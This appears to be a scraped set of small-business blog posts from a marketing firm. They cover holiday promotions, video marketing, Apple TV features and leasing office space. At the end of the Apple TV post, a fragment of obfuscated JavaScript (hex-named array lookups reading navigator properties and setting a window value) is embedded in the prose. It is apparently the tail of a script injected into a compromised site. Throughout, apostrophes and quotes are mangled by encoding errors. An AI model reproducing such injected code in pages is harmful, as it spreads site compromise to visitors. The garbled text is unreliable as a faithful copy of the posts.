Creative Commons image by  Bert Kaufmann

Creative Commons image by
Bert Kaufmann

With a week ’til Christmas and the first night of Hanukkah, then another week until New Year’s Day, you might be looking for quick ways to boost your holiday sales. If you haven’t been keeping up with your marketing strategy to this point, there aren’t any quick fixes that will bring in a big profit before the ball drops in Times Square. However, if you already have a social media presence, an email list, or a website or blog, here are some ways you might be able to drum up a bit of business in the next week or two.

Send Out a Message of Thanks

While Thanksgiving is already passed, you can continue the message of gratitude by sending out an email to your customers thanking them for their loyalty. This gives people a warm, fuzzy feeling, and it also reminds them that you are here, providing a service or product. A non-salesy email is a nice change of pace, particularly this time of year, and your customers will have you in the forefront of their minds if it turns out they need what you offer.

Donate a Portion of Your Profit

Make it known that from today until (you can choose an ending date), a percentage of your profits from a certain service or product (or a portion of all sales) will be donated to the cause of your choice. This time of year, people are trying to be philanthropic; help them along by letting them know that 10 percent of the sale is going to an animal rescue, the Salvation Army, a nursing home in town, or some other organization. Advertise this on your social media pages.

Host a Giveaway

This can be just about anything from choosing a random commenter on your blog to receive a product, to having an elaborate series of giveaways and deals centered around the 12 days of Christmas or the 8 nights of Hanukkah. People love free stuff, and during the holidays is a great time to get people interacting with your social media pages, YouTube channel or blog.A� As a side benefit, you can do some networking by asking your viewers, readers or fans to visit other business pages or channels to leaveA� a comment. This is a great way to get some reciprocation without having to invest a lot of time, energy, or money into supporting another entrepreneur.

Send Out Holiday Cards… By Snail Mail

This one is not about digital marketing at all. If you’ve been collecting addresses, send out holiday greetings via the good old United States Postal Service. Cards are more appreciated than emails this time of year, and they’re much more likely to be noticed. Go ahead and include a coupon, too.

Put Out a Webinar the Last Week of December

Many people are off from work or have a decreased workload during the week between Christmas and New Year’s Day. Take advantage of this by preparing a webinar, longer video, a podcast, or some other educational media. While people might have less money to spend immediately following the major holidays, getting them engaged while they’re relaxed and happy can pay off in the year to come.

If you have questions about digital marketing and advertising, please contact Most Optimal. We wish you a happy holiday season and the best possible start for 2017!

 

 

 

 


Creative commons image by microbiologybytes (flickr).

Creative commons image by microbiologybytes (flickr).

You’ve probably heard that video marketing is the next big thing for businesses, and maybe you’re wondering whether it would be a good strategy for you. What would you make your videos about? Since video appeals to so many people, there are definitely ways for you to take advantage of the craze and develop a name for yourself on YouTube, Facebook, SnapChat or one of the other many platforms that support videos. Here are some tips on making the most of the opportunity, no matter what type of business you have.

How-To Videos

Chances are great that there’s something that you, as the owner of your business, know how to do that the average layperson does not. This might be using one of your products most effectively, if you sell products. It might be DIY-ing a solution to a problem that many of your customers approach you with. It might even be somewhat unrelated to the service you provide, but still something that your clients need to know how to do. You could create a how-to video that will not only bring viewers to your website (or YouTube channel or Facebook page), but will also increase your authority. All you need is someone to record you doing whatever it is you’re teaching your viewers how to do while narrating it so people can follow along at home. As a bonus, you could type up the process and include it in the video description.

Demonstrations

If you have a product or products, why not demonstrate how to use them on-screen? This can be more effective than an instruction manual for those who are more kinetically inclined and less likely to follow written instructions. It can also minimize the need for you to be constantly answering troubleshooting questions; if your customers can see what they’re doing wrong because the video is showing them how to do it right, they’re less likely toA� have trouble that would necessitate a phone call or visit. This can also be a great sales piece, as people who watch your video will see how simple and easy your product is to use.

Expert Interviews

Sure, you’re the expert on your niche, but your customers might have questions about products or services that are complementary to yours. Try interviewing local experts about what they do, too. This brings interest to your channel and makes you a friend outside of your own industry. Maybe he or she would be willing to interview you for their blog, website or video channel, too.

Whiteboard Explanation

Do you want to explain the science behind your product or service? Drawing it out on a whiteboard (you can use an actual dry-erase board and dry-erase markers) can help your viewers understand what you’re talking about. This type of video marketing is also a great idea if you want to discuss the history of your business or the different types of products or services available from your business.

Simple Entertainment

Once you have a video channel set up, keeping it lively by interspersing informative information with some entertaining stories or company-produced music videos or holiday greetings can be a great way to keep interest in your channel alive. Have fun with it! (But do remember to be appropriate and sensitive to your viewers by staying away from political or other types of controversial topics.)

Convinced yet? Video marketing can be a boon to your business if you have some ideas on how to create a good handful of videos for your chosen platform. With any luck, they’ll get passed around and you’ll see an increase in your bottom line.

 


Creative Commons image by Julien GONG Min

Creative Commons image by Julien GONG Min

Youa��ve got your iPhone, your iPod and maybe a Mac, so you may feel that springing for Apple TV would be redundant. There are actually some great features of the newest member of the Apple lineup that just might make it worth your while to check it out. Here are three features that youa��ll wonder what you ever did without.

  1. Siri. Your favorite virtual assistant has made her way over to the Apple TV. Instead of using a remote control or grappling with the volume buttons, just let Siri handle it for you. She can help you find what you want, pause the show while you get popcorn, rewind, skip over the scary parts, or just about anything else. Shea��ll also tell you who directed a certain movie. One of the excellent options she offers is that to figure out what a character just said. Instead of guessing, becoming frustrated or trying to rewind while listening more closely, Siri can help: She will rewind the video briefly, then will turn on the closed-captioning for that section of speech that you didna��t hear. How convenient is that?
  2. Games. If youa��re a hardcore gamer, you probably already have an Xbox One or PS4. If not, however, you might still enjoy playing games on the big screen. The Apple TV allows you to enjoy some of your favorite Apple game apps right on your television. In addition to games, the Apple TV has a new Top Charts section, just like what you have on your iPhone. Filter options by price (free and not free) and popularity.
  3. Comparison shopping. If you want to catch up on your favorite series or check out a movie online, you often need to visit the various streaming sites to find out where ita��s available. Then you will need to do some research to determine where ita��s the cheapest. With the Apple TV, this is done for you. You have the option to check many different sites to find the best deal. At this time, Amazon Video streaming is not available on the Apple TV, but who knows? Maybe it will be in the future.

Whether you own every other Apple product there is or this is your first step into the world that is Apple, the Apple TV is worth considering. With the holidays coming up, it will also make a great gift for someone in your life… preferable someone in your house, so you can enjoy the television as much as they do! fdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Creative Commons image by Ronald Sarayudej

Creative Commons image by Ronald Sarayudej

If youa��ve been working from home or for someone else and youa��re ready to strike out on your own in terms of getting office space, you might feel as though youa��re ready to make a big leap. You are correct! Renting an office space is saying, a�?My business is successful, and it will continue to do well.a�? Your business is no longer something to do on the side or to make a little bit of extra money. Once you rent an office, you could be said to be a�?all in.a�? There are quite a few considerations to keep in mind as you take this big step. Here are some of them.

Are You Really Ready?

Therea��s no shame in sticking with your home office for a while longer. Remember that when you transition into a dedicated workspace outside of your home office or co-working space, your expenses will rise dramatically. Some reasons to consider postponing a move into your own office include:

  • You are working alone or with just one or two other people and space is not an issue.
  • You do not meet with clients (or you meet with them in their own offices)
  • You are not sure whether you can afford all that having your own office entails. This will include not only rent, but also utilities, snow and ice removal, and possibly extra insurance coverage.

If, on the other hand, your home office is bursting at the seams, you need a place to meet with clients or you are easily making enough of a profit to make an office affordable (or you are confident that moving into an office will raise your income level), now might be the perfect time.

Think About Practicalities

Too many times, entrepreneurs jump into a great deal without considering all of the practicalities. Location is the most important, as ita��s the least changeable. Is the office youa��re considering on a well-traveled road? Is there adequate parking? If ita��s not on the first floor, is there an elevator available? Is the building secure, both to protect your property and keep your clients and team safe, even after dark?

Also consider how your office will look to others. While the main goal is not to impress your customers, be aware that locating your office in a dangerous area of town or in a run-down building will give the impression that your business is not doing well. Think about the other businesses in the same building as your office space, as well as the decor and upkeep of the building as a whole and of your own section.

Make It What You Want

Once you have chosen an office, youa��ll be ready to consider how to lay it all out. You might consider hiring a designer, at least for a personal consultation. Think about where the desks should go, how much room and privacy each team member needs and where best to meet with your clients. Be sure to ask the landlord how you can modify your office; painting might be okay, but changing the flooring may not be. Get these details in writing so you dona��t have a problem later.

Transitioning to renting your own office space can be overwhelming, but it should be an overall positive experience as you enjoy the growth your business has had and, hopefully, will continue to have.